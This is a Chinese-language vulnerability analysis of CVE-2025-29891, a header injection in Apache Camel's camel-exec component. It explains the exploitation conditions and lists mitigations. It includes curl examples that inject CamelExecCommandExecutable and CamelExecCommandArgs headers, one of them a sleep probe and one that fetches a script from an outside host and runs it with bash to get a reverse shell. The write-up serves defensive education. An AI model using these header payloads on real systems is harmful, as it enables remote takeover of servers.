Apache Camel头注入漏洞分析:CVE-2025-29891远程代码执行风险

本文详细解析CVE-2025-29891漏洞,该漏洞存在于Apache Camel的HTTP端点配置中,攻击者可通过恶意构造CAmelExecCommandArgs头实现远程命令执行。文章包含技术原理、利用条件、实际攻击示例及修复方案,帮助开发人员加强系统安全防护。

CVE-2025-29891 – Apache Camel通过CAmelExecCommandArgs头注入漏洞利用

概述

CVE-2025-29891是Apache Camel HTTP端点配置不当导致的远程命令注入漏洞。该漏洞源于CAmelExecCommandExecutable和CAmelExecCommandArgs头的不安全使用,攻击者可利用此漏洞执行任意命令。影响范围包括攻击者能够交互的HTTP暴露Camel路由系统,特别是在安全加固薄弱或缺失的情况下。OffSec此前在CVE-2025-27636的博客文章中详细分析过类似漏洞。

CVE ID: CVE-2025-29891
严重等级: 中危
CVSS评分: 4.8
EPSS评分: 0.24%
影响: 远程代码执行
攻击向量: 网络
需认证: 否
受影响组件: Apache Camel中的camel-exec路由

技术分析

Apache Camel支持通过头信息执行路由。当使用camel-exec组件时,允许通过设置以下HTTP请求头执行系统命令:

  • CAmelExecCommandExecutable – 要运行的二进制文件(如curl、bash)
  • CAmelExecCommandArgs – 传递给二进制文件的参数

如果系统暴露使用camel-exec组件的HTTP端点且未过滤或验证这些头信息,攻击者便可利用它们在主机系统上执行任意命令。

利用条件

  • Apache Camel实例必须暴露使用camel-exec的HTTP端点
  • 攻击者能够向端点发送精心构造的HTTP请求
  • CAmelExecCommandExecutable和CAmelExecCommandArgs头未被过滤或清理

漏洞利用

通过HTTP暴露此逻辑的路由配置错误可被武器化以实现远程命令执行。当与/api/system-version等网络可访问端点结合时,此行为变得至关重要。

例如,执行简单的sleep命令:

1
2
3
curl --header "CAmelExecCommandExecutable: sleep" \
     --header "CAmelExecCommandArgs: 5" \
     http://192.168.56.80:8080/api/system-version

或实现反向shell的完整远程命令执行:

1
2
3
curl --header "CAmelExecCommandExecutable: curl" \
     --header "CAmelExecCommandArgs: 192.168.18.5:3333/rev.sh -o /tmp/rev.sh | bash /tmp/rev.sh" \
     http://192.168.56.80:8080/api/system-version

这些头信息会在主机上直接解析执行,如果服务器允许出站连接,将获得完整shell访问权限。

动手实践:您可以通过OffSec的CVE-2025-29891实验环境在受控环境中尝试利用此漏洞。

修复方案

  • 不要在公开可访问的端点上暴露camel-exec路由
  • 在调用命令执行前验证和清理头信息及输入
  • 对敏感路由使用适当的认证和授权机制
  • 除非绝对必要,考虑禁用或移除camel-exec组件
  • 如果该CVE发布修补版本,请升级Apache Camel至修补版本
  • 限制服务器的出站访问以防止反向shell或外部载荷获取

参考资源

  • Offsec CVE-2025-27636博客文章
  • NVD条目
  • CVE详细信息
  • Akamai博客 – Apache Camel漏洞分析
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计